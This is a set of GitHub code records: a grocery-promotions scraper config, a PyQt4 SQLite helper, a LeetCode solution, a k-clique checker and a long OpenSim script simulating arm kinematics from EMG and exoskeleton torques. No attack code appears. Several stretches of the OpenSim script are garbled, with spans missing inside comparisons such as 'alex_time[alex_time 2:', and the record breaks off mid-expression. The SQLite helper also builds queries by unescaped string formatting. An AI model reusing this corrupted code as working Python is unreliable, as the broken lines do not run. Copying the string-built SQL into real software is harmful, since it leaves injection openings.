'https://novus.zakaz.ua/uk/promotions/?category_id=eighteen-plus&page='],\n ['megamarket', 'https://megamarket.zakaz.ua/uk/promotions/?category_id=alcohol-megamarket&page='],\n ['eko', 'https://eko.zakaz.ua/uk/promotions/?category_id=alcohol-ekomarket&page='],\n ['auchan', 'https://auchan.zakaz.ua/uk/promotions/?category_id=eighteen-plus-auchan&page=']\n ]\n}\n\n# photo_id = 0\nerrors = list()\n\n\ndef time_counter(func):\n def wrapper():\n start = time()\n func()\n send_report(time() - start)\n return wrapper\n\n\n# def get_photo_id():\n# return photo_id\n#\n#\n# def set_photo_id():\n# global photo_id\n# photo_id += 1\n#\n#\n# def set_null_photo_id():\n# global photo_id\n# photo_id = 0\n\n\ndef remove_from_folder(): # clear folder with images\n folder = 'shop/static/products'\n for filename in os.listdir(folder):\n file_path = os.path.join(folder, filename)\n try:\n if os.path.isfile(file_path) or os.path.islink(file_path):\n os.unlink(file_path)\n elif os.path.isdir(file_path):\n shutil.rmtree(file_path)\n except Exception as ex:\n print('Failed to delete %s. Reason: %s' % (file_path, ex))\n\n\ndef collect_errors(url, ex):\n global errors\n buf = url[8:]\n errors.append(buf[:buf.find('.zakaz')])\n print(url, ex)\n\n\ndef send_report(time_of_work):\n global errors\n if len(errors) == 0:\n print(time_of_work)\n else:\n pass\n","repo_name":"Oleg-tech/shopPromotions","sub_path":"shop/shop_scheduler/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29576796093","text":"from PyQt4 import QtCore, QtGui, QtSql\n\n\nclass TypeData(object):\n pass\n\n\nclass TypeFactory(object):\n \n def __init__(self):\n self.types = {}\n \n def addType(self, name):\n nameType = 'Type{0:s}'.format(name[0].upper() + name[1:].lower())\n self.types[nameType] = type(nameType, (), {'name': name})\n \n \ndataTypes = TypeFactory()\ntypes = ['NULL', 'INTEGER', 'REAL', 'TEXT', 'BLOB']\nfor t in types:\n dataTypes.addType(t)\n \n \n \nclass Record(object):\n \n def __init__(self):\n self.fields = {}\n \n def addField(self, nameCol, field):\n self.fields[nameCol] = field\n \n \nclass Table(object):\n \n def __init__(self, name):\n self.name = name\n self.columns = {}\n \n def addColumn(self, name, dataType, primary=False):\n self.columns[name] = dataType\n if primary:\n self.primary = name\n \n\nclass Database(object):\n \n def __init__(self, name, testMode=False):\n self.name = name\n self.useType = True\n self.testMode = testMode\n self.connection = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.connection.setDatabaseName(self.name)\n if not self.connection.open():\n print('cannot establish a database connection')\n self.tables = {}\n self.loadDatabase()\n \n def loadDatabase(self):\n for tableName in [str(t) for t in self.connection.tables()]:\n table = Table(tableName)\n record = self.connection.record(table.name)\n self.tables[table.name] = table\n for i in range(record.count()):\n print(QtCore.QVariant(record.field(i).type()).typeName())\n \n \n def addTable(self, table):\n if table.name not in self.connection.tables():\n self.tables[table.name] = table\n cols = ['{0:s} {1:s}'.format(name, dataType.name) \n for name, dataType in table.columns.iteritems()]\n statement = 'CREATE TABLE {0:s}({1:s})'.format(table.name, \n ', '.join(cols))\n if self.testMode:\n print(statement)\n else: \n self.connection.exec_(statement)\n else:\n print('table already exists')\n \n def addRecord(self, nameTable, record):\n if nameTable in self.connection.tables():\n cols = self.tables[nameTable].columns\n if False not in [f in cols.keys() for f in record.fields]:\n values = ', '.join(['\"{0:s}\"'.format(str(f)) \n for f in record.fields.values()])\n if self.useType:\n nameTypes = '({0:s})'.format(', '.join(cols.keys()))\n else:\n nameTypes = ''\n statement = 'INSERT INTO {0:s}{1:s} VALUES({2:s})'.format(\n nameTable, nameTypes, values)\n if self.testMode:\n print(statement)\n else:\n self.connection.exec_(statement)\n \n\nif __name__ == '__main__':\n db = Database('test.db', testMode=True)\n #for key, value in dataTypes.types.iteritems():\n # print(key, value)\n t1 = Table('cars')\n t1.addColumn('id', dataTypes.types['TypeInteger'](), primary=True)\n t1.addColumn('name', dataTypes.types['TypeText']())\n t1.addColumn('year', dataTypes.types['TypeInteger']())\n t1.addColumn('weight', dataTypes.types['TypeReal']())\n db.addTable(t1)\n r = Record()\n r.addField('id', 1)\n r.addField('name', 'Audi A3')\n r.addField('year', 1982)\n r.addField('weight', '1560.80')\n db.addRecord(t1.name, r) ","repo_name":"fgroes/workTime","sub_path":"database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"2214592222","text":"from typing import List\nfrom collections import defaultdict\n\n\nclass Solution:\n\n def displayTable(self, orders: List[List[str]]) -> List[List[str]]:\n count, tables, foods = {}, set(), set()\n for _, table, food in orders:\n tables.add(table)\n foods.add(food)\n if food not in count:\n count[food] = defaultdict(int)\n count[food][table] += 1\n\n tables, foods, ans = sorted(tables, key=lambda table: int(table)), sorted(foods), [[\"Table\"] * (len(foods) + 1) for _ in range(len(tables) + 1)]\n for i, food in enumerate(foods):\n ans[0][i + 1] = food\n for j, table in enumerate(tables):\n ans[j + 1][0] = table\n ans[j + 1][i + 1] = str(count[food][table])\n return ans\n","repo_name":"qianlizhixing12/coding-training","sub_path":"leetcode/1418.py","file_name":"1418.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29630690154","text":"import sys\nimport itertools\n\n\ndef readInput(inputFile):\n\n f = open(inputFile, \"r\")\n exp = \"\"\n\n for i in f:\n exp += i\n\n f.close()\n return exp\n\n\ndef verifyClique(graph, c):\n for i in c:\n ok = 0\n clique = i\n for u in clique:\n for v in clique:\n if graph[u - 1][v - 1] == 0 and u != v:\n ok = 1\n break;\n if ok == 0:\n return True\n\n\n return False\n\n\n\nif __name__ == '__main__':\n inputFile = sys.argv[1]\n exp = readInput(inputFile)\n\n\n exp = exp.split('\\n')\n k = int(exp[0])\n N = int(exp[1])\n M = int(exp[2])\n\n graph = [[0 for col in range(N)] for row in range (N)];\n vertex = [0 for x in range(N)]\n\n for i in range(N):\n vertex[i] = i + 1\n\n exp = exp[3:]\n for i in range(M):\n l = exp[0]\n l = l.split(\" \")\n x = int (l[0])\n y = int (l[1])\n\n graph[x - 1][y - 1] = 1\n graph[y - 1][x - 1] = 1\n exp = exp[1:]\n\n\n # result = verifyClique(k, graph, vertex)\n # print(result)\n\n c = list(itertools.combinations(vertex, k))\n print(verifyClique(graph, c))\n\n # clique = []\n # clique = c[0]\n # print(clique)\n\n\n # for i in range(N):\n # for j in range(N):\n # print(graph[i][j])\n # print(\"\\n\")\n","repo_name":"sabinaradu/kClique-to-SAT","sub_path":"kCliqueBKT.py","file_name":"kCliqueBKT.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"3734528114","text":"#!/usr/bin/env python\n\nfrom opensim_environment import OsimModel\nfrom opensim import *\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom osim_model import *\n#from kinematics import *\nimport pandas as pd\n\n\ndef main():\n \"\"\"\n Script to evaluate EMG to kinematics data:\n Simulate osim model with EMG data of a 'movement' of interest as muscles activation\n Compare resulting joint angles with osim IK ones by plotting them, simulation states and joint angles plots are\n saved in 'save_folder'\n \"\"\"\n\n case = 'UP00' # 'Henri' or 'NM00' # IK KIN, INIT KIN\n\n if case == 'Henri':\n #: Osim model\n osim_file = 'models/Henri.osim'\n osim_file = modify_Millard(osim_file, ignore_tendon='true', fiber_damping=0.001, ignore_dyn='true')\n # ignore_dyn to 'true' to provide EMG data as muscle activation\n osim_file = lock_Coord(osim_file, ['shoulder_rot', 'elv_angle'], 'false')\n # Manual init joint angles ## TO DO init from pifpaf file\"\n osim_file = modify_default_Coord(osim_file, 'elv_angle', 1.2)\n osim_file = modify_default_Coord(osim_file, 'r_shoulder_elev', 0.14)\n osim_file = modify_default_Coord(osim_file, 'shoulder_rot', 0.16)\n osim_file = modify_default_Coord(osim_file, 'elbow_flexion', 0.29)\n\n #: EMG control\n emg_folder = 'emg/'\n movement = 'sh_adduction'\n ti = 2.50\n tf = 3.02\n delay_video = 108.4 - 55.48\n\n # Plot\n IK_ref_file = None # None or 'kinematics/' + movement + \"/joints_IK_\" + movement + \".mot\"\n coord_plot = [\"shoulder_elev\", \"elbow_flexion\", \"elv_angle\", 'shoulder_rot']\n save_folder = emg_folder + movement + '/'\n\n step_size = 0.01\n integ_acc = 0.0001\n period = np.array([ti // 1 * 60 + ti % 1 * 100, tf // 1 * 60 + tf % 1 * 100])\n n_steps = int((period[1]-period[0])/step_size)\n emg_period = emg_data(emg_folder, ti, tf, unit='min', delay_video=delay_video, plot=True)\n if movement in ['sh_flexion', 'elb_flexion', 'arm_flexion']:\n osim_file = modify_default_Coord(osim_file, 'elv_angle', 1.574)\n elif movement in ['sh_adduction']:\n osim_file = modify_default_Coord(osim_file, 'elv_angle', 0.0)\n\n osim_control(osim_file, step_size, n_steps, emg_period, integ_acc=integ_acc, coord_plot=coord_plot,\n IK_ref_file=IK_ref_file, save_folder=save_folder, visualize=True, show_plot=True, save_kin=True)\n\n elif case == 'NM00':\n\n # Patient\n id = 4\n session = 1\n recording = 'Run_number_95_Plot_and_Store_Rep_1.0_1056.mat'\n n_stim = 12\n alex_file = 'C:/Users/Acer/Desktop/Pour alice/NM00' + str(id) + '/Inputs/Alex/ALEx20210303105242.csv' # path or None\n alex_side = 'L'\n ti_alex = 201.5\n\n osim_file = 'models/alex_marker.osim' # '_elbk.osim\n osim_file = modify_elbow_k(osim_file, k=1, min_angle=90, transition=50) # default k=1e-08, min_angle=190, transtion=1\n osim_file = modify_Millard(osim_file, 'true', 0.001, 'true') # ignore tendon comp, fiber damping, activation dynamics\n # Model spastic muscle\n spas = False\n if spas:\n spas_muscles = ['BIClong']\n min_acti = [0.5] # default 0.01\n osim_file = min_acti_Muscle(osim_file, spas_muscles, min_acti)\n osim_file = lock_Coord(osim_file, ['shoulder_elev', 'elv_angle', 'shoulder_rot', 'elbow_flexion'], 'true')\n step_size = 0.01\n integ_acc = 0.001\n\n #: EMG control\n emg_file = 'C:/Users/Acer/Desktop/Pour alice/NM00' + str(id) + '/Data/norm_max_emg/' + recording +\\\n '/stim_'+str(n_stim)+'/EMG_norm_data.txt'\n muscle_file = 'C:/Users/Acer/Desktop/Pour alice/NM00' + str(id) + '/emg_name.txt'\n time_file = 'C:/Users/Acer/Desktop/Pour alice/NM00' + str(id) + '/Data/norm_max_emg/' + recording +\\\n '/stim_'+str(n_stim)+'/EMG_time.txt'\n osim_muscle_names_004 = ['FCR', 'FCU', 'ED', 'FDSM', 'BRA', 'BIClong', 'TRIlong', 'DELT1', 'DELT2', 'DELT3',\n 'BRD', 'PECM1', 'INFSP', 'SUPSP', 'RH']\n osim_muscle_names_005_1 = ['THE', 'BRD', 'ECRL', 'FDSM', 'SUPSP', 'DELT2', 'DELT1', 'DELT3', 'INFSP', 'TRIlong',\n 'EDCM', 'TMAJ', 'PECM1', 'BICshort', 'FCU']\n osim_muscle_names_005_2 = ['ECRL', 'BRD', 'FDSM', 'ED', 'DELT2', 'DELT1', 'DELT3', 'BIClong', 'TRIlong',\n 'PECM1', 'LevScap', 'FCU', 'sync']\n if id == 4:\n osim_muscle_names = osim_muscle_names_004\n elif id == 5 and session == 1:\n osim_muscle_names = osim_muscle_names_005_1\n elif id == 5 and session == 2:\n osim_muscle_names = osim_muscle_names_005_2\n\n ti = 0 # in sec\n tf = -1 # -1 to simulate entire stim period\n emg_period, period = emg_data(emg_file, muscle_file, time_file, ti, tf, unit='sec', factor=1, plot=True,\n osim_muscle_names=osim_muscle_names)\n n_steps = int((period[1] - period[0]) / step_size)\n\n # Init joint angles from Alex\n if alex_file is not None:\n alex_ref = {alex_side+'_ang_pos_5': 'shoulder_elev', alex_side+'_ang_pos_1': 'shoulder_add',\n alex_side+'_ang_pos_2': 'shoulder_rot', alex_side+'_ang_pos_6': 'elbow_flexion',\n alex_side+'_pressure': 'pression'}\n alex_j_values, alex_time, alex_ref = alex_kin(alex_file, ti=ti_alex, unit='sec', ref=alex_ref, plot=False)\n osim_file = init_from_alex(osim_file, alex_file, ti, alex_side)\n else:\n alex_j_values, alex_time, alex_ref = None, None, None\n # Manual init\n osim_file = modify_default_Coord(osim_file, 'shoulder_elev', 0.15)\n osim_file = modify_default_Coord(osim_file, 'elv_angle', 1.3)\n osim_file = modify_default_Coord(osim_file, 'shoulder_rot', 0)\n osim_file = modify_default_Coord(osim_file, 'elbow_flexion', 1.5)\n\n #: Plots\n coord_plot = [\"shoulder_elev\", \"elbow_flexion\", \"elv_angle\", 'shoulder_rot']\n save_folder = 'C:/Users/Acer/Desktop/Pour alice/NM00' + str(id) + \"/Results/\" + \\\n str(recording.split('_')[2])+'_'+str(n_stim)+'/'\n\n alex_torques = None # ['shoulder_elev', 'elbow_flexion', 'shoulder_add', 'shoulder_rot']\n alex_values = None # compensation level in [0, 1]\n ref = {alex_side+'_Torque_3': 'shoulder_elev', alex_side+'_Torque_1': 'shoulder_add',\n alex_side+'_Torque_2': 'shoulder_rot', alex_side+'_Torque_4': 'elbow_flexion'}\n alex_t_values, alex_time, _ = alex_torque(alex_file, ti=ti_alex, ref=ref, plot=False) # to compare torques or None\n bas_alex_t_values, _, _ = alex_torque(alex_file, ti=0, tf=10, ref=ref, plot=False) # remove isometric torque baseline\n alex_t_values = alex_t_values - np.mean(bas_alex_t_values, axis=0)\n\n if alex_values is not None:\n save_folder = save_folder + 'T_' + str(alex_values) + '/'\n osim_alex_control(osim_file, step_size, n_steps, emg_period, emg_factor=1, integ_acc=integ_acc,\n coord_plot=coord_plot, alex_torques=alex_torques, alex_values=alex_values,\n alex_j_values=alex_j_values, alex_time=alex_time, alex_ref=alex_ref, alex_t_values=alex_t_values,\n save_folder=save_folder, visualize=True, show_plot=True, save_kin=True)\n\n elif case == 'UP00':\n\n # Patient\n id = 1\n recording = 'test_flexion'\n kin_file = 'C:/Users/Acer/Desktop/Pour alice/UP00' + str(id) + '/'+recording+'/df_cam1_816612061599_record_17_11_2021_1555_35.csv'\n IK_ref_file = None\n\n osim_file = 'models/wrap_upperLeft.osim'\n #osim_file = modify_Millard(osim_file, 'true', 0.001, 'true') # ignore tendon comp, fiber damping, activation dynamics\n step_size = 0.01\n integ_acc = 0.001\n\n #: EMG control\n emg_file = 'C:/Users/Acer/Desktop/Pour alice/UP00' + str(id) + '/'+recording+'/emg_norm_data.txt'\n muscle_file = 'C:/Users/Acer/Desktop/Pour alice/UP00' + str(id) + '/'+recording+'/emg_names.txt'\n time_file = 'C:/Users/Acer/Desktop/Pour alice/UP00' + str(id) + '/'+recording+'/emg_time.txt'\n\n # ADD SEVERAL MUSCLES\n osim_muscle_names = ['BICshort', 'TRIlong', 'TRIlat', 'DELT1', 'DELT2', 'DELT3', 'PECM1', 'PECM3', 'INFSP',\n 'SUPSP', 'TRAPS', 'TRAPI', 'IMU', 'THE', 'FPL', 'EPB', 'FD2', 'BRA', 'FCR', 'ECR', 'PT', 'FDSM', 'BRD', 'FCU', 'ECU',\n 'ED', 'BIClong', 'LAT2', 'IMU2']\n\n ti = 52 # in sec\n tf = 60 # -1 to simulate entire stim period\n emg_period, period = emg_data(emg_file, muscle_file, time_file, ti, tf, unit='sec', factor=1, plot=False,\n osim_muscle_names=osim_muscle_names)\n n_steps = int((period[1] - period[0]) / step_size)\n\n # Init joint angles from Alex\n osim_file = lock_Coord(osim_file, ['shoulder_elev_l', 'elv_angle_l', 'shoulder_rot_l', 'elbow_flexion_l'], 'false')\n osim_file = lock_Coord(osim_file, ['pro_sup_l', 'deviation_l', 'flexion_l'], 'true')\n #if IK_ref_file is not None:\n # INIT FROM PIFPAF FILE\n # Manual init\n osim_file = modify_default_Coord(osim_file, 'shoulder_elev_l', 0.15)\n osim_file = modify_default_Coord(osim_file, 'elv_angle_l', 1.3)\n osim_file = modify_default_Coord(osim_file, 'shoulder_rot_l', 0)\n osim_file = modify_default_Coord(osim_file, 'elbow_flexion_l', 1.3)\n\n #: Plots\n coord_plot = [\"shoulder_elev_l\", \"elbow_flexion_l\", \"elv_angle_l\", 'shoulder_rot_l']\n save_folder = 'C:/Users/Acer/Desktop/Pour alice/UP00' + str(id) + '/'+recording+'/'\n\n osim_control(osim_file, step_size, n_steps, emg_period, integ_acc=integ_acc,\n coord_plot=coord_plot, IK_ref_file=IK_ref_file, save_folder=save_folder,\n visualize=True, show_plot=True, save_kin=True)\n\n\ndef osim_control(osim_file, step_size, n_steps, emg_period, integ_acc=0.0001,\n coord_plot=['shoulder_elev', 'elbow_flexion'], IK_ref_file=None, save_folder=\"results/\",\n visualize=False, show_plot=False, save_kin=False):\n \"\"\"\n Simulate osim model with EMG data of a movement of interest as muscle activation\n Compare the resulting joint angles with osim IK ones by plotting them\n Save simulation states and joint angles plots in save_folder\n INPUTS: - osim_file: string, path to osim model\n - step_size: float, osim integration step size\n - n_steps: int, osim number of integration steps\n - emg_period: dictionary, EMG data of each muscle ({'TRIlong': float array, ...})\n - integ_acc: osim integration accuracy\n - coord_plot: None or string array, coordinates to plot\n - IK_ref_file: None or string, path to osim IK joint angles file\n - save_folder: string, path to folder where simulation states and plots will be saved\n - visualize: bool, to visualize or not osim simulation\n - show_plot: bool, to show or not the plots\n - save_kin: bool, to save or not tehe simulation states\n \"\"\"\n\n if not os.path.isdir(save_folder):\n os.mkdir(save_folder)\n\n #: Osim model\n model = OsimModel(osim_file, step_size, integ_acc, body_ext_force=None, alex_torques=None, moments=None,\n visualize=visualize, save_kin=save_kin)\n n_muscles = model.model.getMuscles().getSize()\n muscle_names = [None]*n_muscles\n for i in range(n_muscles):\n muscle_names[i] = model.model.getMuscles().get(i).getName()\n\n #: Controls\n controls = def_controls(emg_period, muscle_names, n_steps, step_size, plot=False)\n\n #: Initialize\n model.reset()\n model.reset_manager()\n\n #: States to plot\n if coord_plot is not None:\n coord_states = np.zeros((len(coord_plot), 2, n_steps-1))\n\n #: Integrate step 0\n #: Actuate the model from control outputs\n model.actuate(np.zeros(n_muscles))\n #: Integration musculoskeletal system\n model.integrate()\n\n #: Integrate\n for j in range(1, n_steps):\n\n #: Actuate the model from control outputs\n model.actuate(controls[:, j])\n\n #: Integration musculoskeletal system\n model.integrate()\n\n #: Results from the integration\n res = model.get_state_dict()\n\n if coord_plot is not None:\n for i in range(len(coord_plot)):\n coord_states[i, 0, j-1] = res[\"coordinate_pos\"][coord_plot[i]]\n coord_states[i, 1, j-1] = res[\"coordinate_vel\"][coord_plot[i]]\n\n if IK_ref_file is not None:\n IK_ref = open(IK_ref_file, 'r')\n lines = IK_ref.readlines()\n IK_joints = lines[10].split()[1:]\n IK_ref = np.zeros((len(lines[11:]), len(IK_joints)+1))\n for l in range(len(lines[11:])):\n IK_ref[l, 0] = lines[l+11].split()[0]\n for j in range(len(IK_joints)):\n IK_ref[l, j+1] = lines[l+11].split()[j+1]\n\n #: Coordinates plot\n time = np.arange(n_steps-1)*step_size\n if coord_plot is not None:\n plt.figure(\"coord plot\")\n for i in range(min(len(coord_plot), 2)):\n ax = plt.subplot(min(len(coord_plot), 2), 1, i+1)\n ax.plot(time, coord_states[i, 0]*180/3.14, 'b', label=coord_plot[i]+\" angle\", )\n if IK_ref_file is not None and coord_plot[i] in IK_joints:\n ax.plot(IK_ref[:, 0], IK_ref[:, IK_joints.index(coord_plot[i])+1], '--b',\n label=coord_plot[i] + \" ref\", )\n ax.legend()\n ax.set_ylabel(\"angle [°]\", color='b')\n ax.set_xlabel(\"time [s]\")\n #ax.set_ylim(-20, 160)\n plt.title(coord_plot[i]+\" kinematics\")\n plt.savefig(save_folder+\"coord_plot\")\n\n if len(coord_plot) > 2:\n plt.figure(\"coord plot 2\")\n for i in range(2, len(coord_plot)):\n ax = plt.subplot(len(coord_plot[2:]), 1, i - 1)\n ax.plot(time, coord_states[i, 0] * 180 / 3.14, 'b', label=coord_plot[i] + \" angle\", )\n if IK_ref_file is not None and coord_plot[i] in IK_joints:\n ax.plot(IK_ref[:, 0], IK_ref[:, IK_joints.index(coord_plot[i]) + 1], '--b',\n label=coord_plot[i] + \" IK ref\", )\n ax.legend()\n ax.set_ylabel(\"angle [°]\", color='b')\n ax.set_xlabel(\"time [s]\")\n plt.title(coord_plot[i] + \" kinematics\")\n plt.savefig(save_folder + \"coord_IK_plot\")\n\n if show_plot:\n plt.show()\n plt.close('all')\n\n #: Save simulation states\n model.save_simulation(save_folder)\n\n\ndef osim_alex_control(osim_file, step_size, n_steps, emg_period, emg_factor=1, integ_acc=0.0001, coord_plot=None, alex_j_values=None,\n alex_torques=None, alex_values=None, alex_time=None, alex_ref=None, alex_t_values=None,\n save_folder=\"results/\", visualize=False, show_plot=False, save_kin=False):\n \"\"\" Integrate opensim model with muscle controls \"\"\"\n\n if not os.path.isdir(save_folder):\n os.mkdir(save_folder)\n\n moments = None\n if alex_t_values is not None:\n moments = coord_plot\n #: Osim model\n model = OsimModel(osim_file, step_size, integ_acc, body_ext_force=None, alex_torques=alex_torques, moments=moments,\n visualize=visualize, save_kin=save_kin)\n n_muscles = model.model.getMuscles().getSize()\n muscle_names = [None]*n_muscles\n for i in range(n_muscles):\n muscle_names[i] = model.model.getMuscles().get(i).getName()\n\n tf = n_steps * step_size\n\n #: Controls\n controls = def_controls(emg_period, muscle_names, n_steps, step_size, plot=False)\n\n #: Initialize\n model.reset()\n model.reset_manager()\n\n #: If Alex torques\n if alex_torques is not None:\n if not isinstance(alex_values, float):\n alex_controls = alex(alex_torques, alex_values, alex_time, alex_ref, step_size, n_steps)\n else:\n torques = np.zeros((n_steps - 1, 6))\n\n #: States to plot\n if coord_plot is not None:\n coord_states = np.zeros((len(coord_plot), 2, n_steps-1))\n if alex_t_values is not None:\n torque_states = np.zeros((len(coord_plot), n_steps - 1))\n\n # Markers\n sh = np.zeros((3, n_steps - 1))\n m1 = np.zeros((3, n_steps - 1))\n elb = np.zeros((3, n_steps-1))\n m2 = np.zeros((3, n_steps-1))\n\n #: Integrate step 0\n #: Actuate the model from control outputs\n model.actuate(np.zeros(n_muscles))\n #: Integration musculoskeletal system\n model.integrate()\n\n #: Integrate\n for j in range(1, n_steps):\n\n #: Actuate the model from control outputs\n model.actuate(controls[:, j]*emg_factor)\n\n if alex_torques is not None and j > 1:\n if not isinstance(alex_values, float):\n for p in range(len(alex_torques)):\n t = alex_torques[p]\n if t in ['shoulder_elev', 'elbow_flexion']:\n dir = 2 # Z\n elif t == 'shoulder_add':\n dir = 0 # X\n elif t == 'shoulder_rot':\n dir = 1 # Y\n ext_torque = opensim.PrescribedForce.safeDownCast(model.model.getForceSet().get('Alex_'+t))\n ext_torque.set_forceIsGlobal(False)\n torqueFunctionSet = ext_torque.get_torqueFunctions()\n func = opensim.Constant.safeDownCast(torqueFunctionSet.get(dir))\n func.setValue(alex_controls[t][j])\n else:\n ext_torque = opensim.PrescribedForce.safeDownCast(model.model.getForceSet().get('Alex_shoulder_elev'))\n ext_torque.set_forceIsGlobal(True)\n torqueFunctionSet = ext_torque.get_torqueFunctions()\n elb_torque = opensim.PrescribedForce.safeDownCast(model.model.getForceSet().get('Alex_elbow_flexion'))\n elb_torque.set_forceIsGlobal(True)\n elbtorqueFunctionSet = elb_torque.get_torqueFunctions()\n elb_t, sh_t = compute_alex_torque(sh[:, j-2], m1[:, j-2], elb[:, j-2], m2[:, j-2])\n for dir in range(3):\n func = opensim.Constant.safeDownCast(torqueFunctionSet.get(dir))\n func.setValue(-alex_values*sh_t[dir])\n torques[j-1, dir] = -alex_values*sh_t[dir]\n elbfunc = opensim.Constant.safeDownCast(elbtorqueFunctionSet.get(dir))\n elbfunc.setValue(-alex_values*elb_t[dir])\n torques[j - 1, 3+dir] = -alex_values*elb_t[dir]\n\n #: Integration musculoskeletal system\n model.integrate()\n\n #: Results from the integration\n res = model.get_state_dict()\n\n sh[:, j - 1] = res[\"markers\"]['shoulder']['pos']\n m1[:, j - 1] = res[\"markers\"]['wrist']['pos'] #'m1'\n elb[:, j - 1] = res[\"markers\"]['elbow']['pos']\n #m2[:, j - 1] = res[\"markers\"]['m2']['pos']\n\n if coord_plot is not None:\n for i in range(len(coord_plot)):\n coord_states[i, 0, j-1] = res[\"coordinate_pos\"][coord_plot[i]]\n coord_states[i, 1, j-1] = res[\"coordinate_vel\"][coord_plot[i]]\n if alex_t_values is not None:\n for i in range(len(coord_plot)):\n torque_states[i, j-1] = res['coordinate_muscle_moment_arm'][coord_plot[i]]\n\n #: Coordinates plot\n time = np.arange(n_steps-1)*step_size\n if coord_plot is not None:\n plt.figure(\"coord plot\")\n n = min(2, len(coord_plot))\n for i in range(n):\n ax = plt.subplot(n, 1, i+1)\n ax.plot(time, coord_states[i, 0]*180/3.14, 'b', label=coord_plot[i]+\" angle\")\n if coord_plot[i] == 'shoulder_elev':\n if alex_j_values is not None and 'shoulder_add' in list(alex_ref.values()):\n ax.plot(alex_time[alex_time 2:\n plt.figure(\"coord plot 2\")\n n = len(coord_states) - 2\n for i in range(n):\n ax = plt.subplot(n, 1, i + 1)\n ax.plot(time, coord_states[2+i, 0] * 180 / 3.14, 'b', label=coord_plot[2+i] + \" angle\")\n if alex_j_values is not None and coord_plot[2+i] in list(alex_ref.values()):\n ax.plot(alex_time[alex_time < tf], alex_j_values[alex_time < tf,\n list(alex_ref.values()).index(coord_plot[2+i])],\n '--b', label=coord_plot[2+i] + \" ref\")\n ax.legend()\n ax.set_ylabel(\"angle [°]\", color='b')\n ax.set_xlabel(\"time [s]\")\n # ax.set_ylim(-20, 160)\n plt.title(coord_plot[2+i])\n plt.tight_layout()\n plt.savefig(save_folder + \"coord_plot_2\")\n\n if alex_torques is not None:\n if not isinstance(alex_values, float):\n if len(alex_torques) > 1 and 'elbow_flexion' in alex_torques:\n fig, ax = plt.subplots(2, 1)\n for i in range(len(alex_torques)):\n if alex_torques[i] == 'elbow_flexion':\n ax[1].plot(alex_time[alex_time 2:\n plt.figure(\"torque plot 2\")\n n = len(coord_states) - 2\n for i in range(n):\n ax = plt.subplot(n, 1, i + 1)\n ax.plot(time, torque_states[2+i], 'b', label=coord_plot[2+i] + \" torque\")\n if coord_plot[2+i] in list(alex_ref.values()):\n ax.plot(alex_time[alex_time < tf], alex_t_values[alex_time < tf,\n list(alex_ref.values()).index(coord_plot[2+i])],\n '--b', label=coord_plot[2+i] + \" ref\")\n ax.legend()\n ax.set_ylabel(\"torque [Nm]\", color='b')\n ax.set_xlabel(\"time [s]\")\n plt.title(coord_plot[2+i])\n plt.tight_layout()\n plt.savefig(save_folder + \"torque_plot_2\")\n\n if show_plot:\n plt.show()\n plt.close('all')\n\n\ndef def_controls(emg_period, muscle_names, n_steps, step_size, plot=False):\n \"\"\"\n Build simulation controls array for all osim model muscles from EMG dictionary\n INPUTS: - emg_period: dictionary, EMG data of each muscle ({'TRIlong': float array, ...)}\n - muscle_names: string array, osim model muscle names\n - n_steps: int, osim number of integration steps\n - step_size: float, osim integration step size\n - plot: bool, to plot or not the controls\n OUTPUT: - controls: float array, simulation controls for all osim model muscles\n \"\"\"\n\n n_muscles = len(muscle_names)\n controls = np.zeros((n_muscles, n_steps))\n time = np.linspace(0, step_size*n_steps, n_steps)\n emg_muscle_names = list(emg_period.keys())\n for m in emg_muscle_names:\n if m in muscle_names:\n controls[muscle_names.index(m)] = np.interp(time, emg_period[m][0], emg_period[m][1])\n\n # Plot\n if plot:\n plt.figure()\n for m in range(len(emg_muscle_names)):\n if emg_muscle_names[m] in muscle_names:\n plt.plot(controls[muscle_names.index(emg_muscle_names[m])]+m*0.1, label=emg_muscle_names[m])\n plt.legend()\n plt.show()\n\n return controls\n\n\ndef emg_data(emg_file, muscle_file, time_file, ti, tf, unit='sec', factor=1, delay_video=0, plot=False,\n osim_muscle_names=['THE', 'EPB', 'FDSI', 'FPL', 'ECRL', 'PT', 'FCR', 'BRA', 'FDSM', 'BRD', 'EDCM', 'FCU',\n 'ECU', 'BIClong', 'TRIlat', 'TRIlong', 'DELT1', 'DELT2', 'DELT3', 'PECM1', 'INFSP',\n 'SUPSP', 'RH', 'TRAPC', 'BICshort']):\n \"\"\"\n Extract EMG data of a movement of interest\n INPUTS: - emg_file: string, path to EMG data file\n - muscle_file: string, path to EMG muscle names file\n - time_file: string, path to EMG time file\n - ti: float, movement initial time in video\n - tf: float, movement final time in video\n - unit: sting, time unit, default = 'sec'\n - factor: float, optional factor to apply to EMG\n - delay_video: float, delay between the video and EMG data\n - plot: bool, to plot or not the EMG data\n - osim_muscle_names: string list, corresponding osim muscle names\n OUTPUT: - emg_period: dictionary, EMG data of each muscle ({'TRIlong': float array, ...})\n - period: array, [ti, tf] in sec\n \"\"\"\n emg_lines = open(emg_file, 'r').readlines()\n muscle_names = open(muscle_file, 'r').readline().split()\n time_lines = open(time_file, 'r').readlines()\n emg_data = np.zeros((len(emg_lines), len(muscle_names)))\n emg_time = np.zeros((len(emg_lines), len(muscle_names)))\n for l in range(len(emg_lines)):\n for m in range(len(muscle_names)):\n emg_data[l, m] = float(emg_lines[l].split()[m])*factor\n emg_time[l, m] = float(time_lines[l].split()[m])\n\n if ti == 0:\n ti = emg_time[0, 0]\n if unit == 'min':\n ti = ti / 60\n if tf != -1 and unit == 'sec':\n tf = ti + tf\n if tf == -1:\n tf = emg_time[-1, 0]\n if unit == 'min':\n tf = tf / 60\n if unit == 'min':\n period = np.array([ti // 1 * 60 + ti % 1 * 100, tf // 1 * 60 + tf % 1 * 100]) - delay_video\n else:\n period = np.array([ti, tf])\n emg_period = {}\n for m in range(len(muscle_names)):\n time_i = emg_time[emg_time[:, m] > 